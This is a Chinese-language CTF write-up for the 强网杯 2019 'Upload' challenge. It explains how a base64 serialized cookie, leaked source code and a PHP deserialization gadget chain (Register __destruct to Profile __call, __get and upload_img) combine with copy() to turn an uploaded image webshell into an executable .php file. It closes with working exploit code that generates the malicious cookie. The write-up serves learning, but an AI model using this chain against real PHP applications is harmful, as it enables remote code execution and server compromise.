[强网杯 2019]Upload wp

0x00 前言

本来是在刷 文件上传的题,然后没想到强网杯这个题打着upload 的幌子其实是个反序列化题,看了看wp 后,觉得很有意思,值得记录一下

0x01 题解

1.首先用户登录后的 cookie 是一串加密的内容,很可疑,base64 解密之后,发现是序列化的内容
[强网杯 2019]Upload wp_第1张图片
2.dirmap 扫目录,扫到源码,/www.tar.gz
[强网杯 2019]Upload wp_第2张图片
下载之后发现里面包含源码,以及.idea 文件,phpstorm 打开发现断点,估计是出题人故意留的提示

3.审计源码
先看两个断点处:
[强网杯 2019]Upload wp_第3张图片
[强网杯 2019]Upload wp_第4张图片
login_check() 函数会直接反序列化我们传入的$_COOKIE[‘user’]。
Register.php 中析构方法如果在未登录网站访问就会调用$->checker->index()。

在web/controller/Profile.php看到文件上传函数操作:

[强网杯 2019]Upload wp_第5张图片
在这里插入图片描述
这段代码说明 如果直接上传的话,文件名后缀会直接被添加上png,这就导致即使上传成功php文件也是无法被解析的。但是如果我们直接通过GET 来发起请求,$_FILES 就必然为空,那么就可以绕过。

[强网杯 2019]Upload wp_第6张图片
这里有个copy 的操作,也是本题的关键利用点,那么我们可以这样构造内属性:

public $hecker=0;
public $ext = 1;
public $upload_menu = 'remote_ip的md5值';
public 
//第一次上传图片马的文件名
$filename_tmp="../public/upload/0d44a7f4f1ae189a4c1d88b83f66ec68.png"; 
//改成后缀为php 的文件
public $filename="ke.php";

进行了这个操作之后,我们上传的图片马的后缀就成功变成了 .php 后缀的文件
所以现在的问题就是如何触发 upload_img()
在 Profile.php 这里我们看到两个魔术方法:
[强网杯 2019]Upload wp_第7张图片

__get() 在调用不可访问的属性的时候触发
__call() 在调用不可访问的方法的时候触发

返回到前面Register.php 那个析构函数的断点处:
[强网杯 2019]Upload wp_第8张图片
这里,我们如果把$this->checher 赋值为Profile 对象,那么就会调用Profile对象中的index() 方法,这个方法在Profile中是不存在的,所以会调用__call() , __call中又会调用$this->index,index 属性在Profile中也是不存在的,就会触发__get() 方法,那么我们再设置Profile 中的except[’index‘] 为 upload_img 的话,就会成功触发upload_img() 。

所以整个利用链为:

Register -> __destruct
Profile -> __call
Profile -> __get
Profile -> upload_img

下面给出最后的exp:


namespace app\web\controller;
class Profile
{
    public $except =array('index'=>'upload_img') ;

    public $checker = 0 ;
    public $ext = 1 ;
    public $filename_tmp = '../public/upload/adeee0c170ad4ffb110df0cde294aecd/394659692a460258b45a99f1424ea357.png' ;
    public $filename = '../public/upload/adeee0c170ad4ffb110df0cde294aecd/ke.php' ;
    public $upload_menu = '';
}

class Register
{   
    public $registed = 0;
    public $checker ;

}

$a =new Register();
$a -> checker = new Profile();
echo base64_encode(serialize($a));
// echo serialize($a);

首先上传我们的图片马,得到 文件名 ,adeee0c170ad4ffb110df0cde294aecd/394659692a460258b45a99f1424ea357.png
执行exp , 把生成的cookie 替换掉原来的cookie ,替换后会报错 ,没关系,重新登录,发现成功替换
在这里插入图片描述
然后执行命令,成功得到flag
[强网杯 2019]Upload wp_第9张图片

0x02 感想

这道题有两个关键点,第一个就是利用copy 来修改文件后缀名为php,第二个是利用链的寻找,思路都很秀 ,非常巧妙,值得学习。

还有总结出 寻找__call() 的调用点,可以寻找 $this->a->b 这种形式的。把 a 赋值为一个对象,b 赋值为对象中不可访问的属性。就可以成功调用__call() 了。那么同理__get() 也是。

你可能感兴趣的:(ctf)